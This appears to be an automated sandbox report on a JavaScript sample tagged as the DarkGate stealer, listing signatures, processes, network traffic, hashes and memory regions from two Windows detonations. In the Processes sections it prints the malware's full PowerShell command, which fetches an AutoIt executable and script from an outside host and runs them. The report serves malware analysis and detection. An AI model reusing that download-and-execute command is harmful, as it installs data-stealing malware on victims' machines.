Malware Analysis Report

2024-11-30 11:12

Sample ID 231030-tsglvsea7w
Target 31102023_0018_sta.js
SHA256 108d14d4973a937b7cc50efd9899c4eee458667810f9aae74e7eeba1312a9b73
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

108d14d4973a937b7cc50efd9899c4eee458667810f9aae74e7eeba1312a9b73

Threat Level: Known bad

The file 31102023_0018_sta.js was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-30 16:19

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-30 16:19

Reported

2023-10-30 16:21

Platform

win10v2004-20231020-en

Max time kernel

144s

Max time network

148s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" ydguxwlx.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 1.208.79.178.in-addr.arpa udp
US 8.8.8.8:53 sftp.noheroway.com udp
US 185.174.101.224:443 sftp.noheroway.com tcp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 185.174.101.224:443 sftp.noheroway.com tcp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 113.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 131.109.69.13.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1i0l03ho.slk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1428-9-0x0000027E8E650000-0x0000027E8E672000-memory.dmp

memory/1428-10-0x00007FF9993F0000-0x00007FF999EB1000-memory.dmp

memory/1428-12-0x0000027EA6780000-0x0000027EA6790000-memory.dmp

memory/1428-11-0x0000027EA6780000-0x0000027EA6790000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1428-26-0x00007FF9993F0000-0x00007FF999EB1000-memory.dmp

C:\tepp\ydguxwlx.au3

MD5 1a580b40d441954f9b5f1febeb37f329
SHA1 5fb9ae7685dca8a5fc76f4a42e22f9898d423d6f
SHA256 4f5bf06ec47409e15cba34146cf7617deaa9c2b0924bdf84a59d6f4461a98eea
SHA512 6a044f3690b8b66a4d28c09f5352392793cce344de26993100e4a7ce77369f5a7d1f9d7f0a74339ee1853c51f855c7336cc3529ca3db4a5e2ca68d899a2a36c3

memory/2016-29-0x0000000000DE0000-0x00000000011E0000-memory.dmp

memory/2016-30-0x0000000003FC0000-0x00000000042EA000-memory.dmp

memory/2016-31-0x0000000003FC0000-0x00000000042EA000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-30 16:19

Reported

2023-10-30 16:21

Platform

win7-20231020-en

Max time kernel

119s

Max time network

122s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_0018_sta.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msiydguxwlx' -OutFile 'ydguxwlx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ydguxwlx.au3'"

Network

N/A

Files

memory/2240-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

memory/2240-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

memory/2240-6-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2240-8-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2240-9-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2240-7-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2240-10-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2240-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2240-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp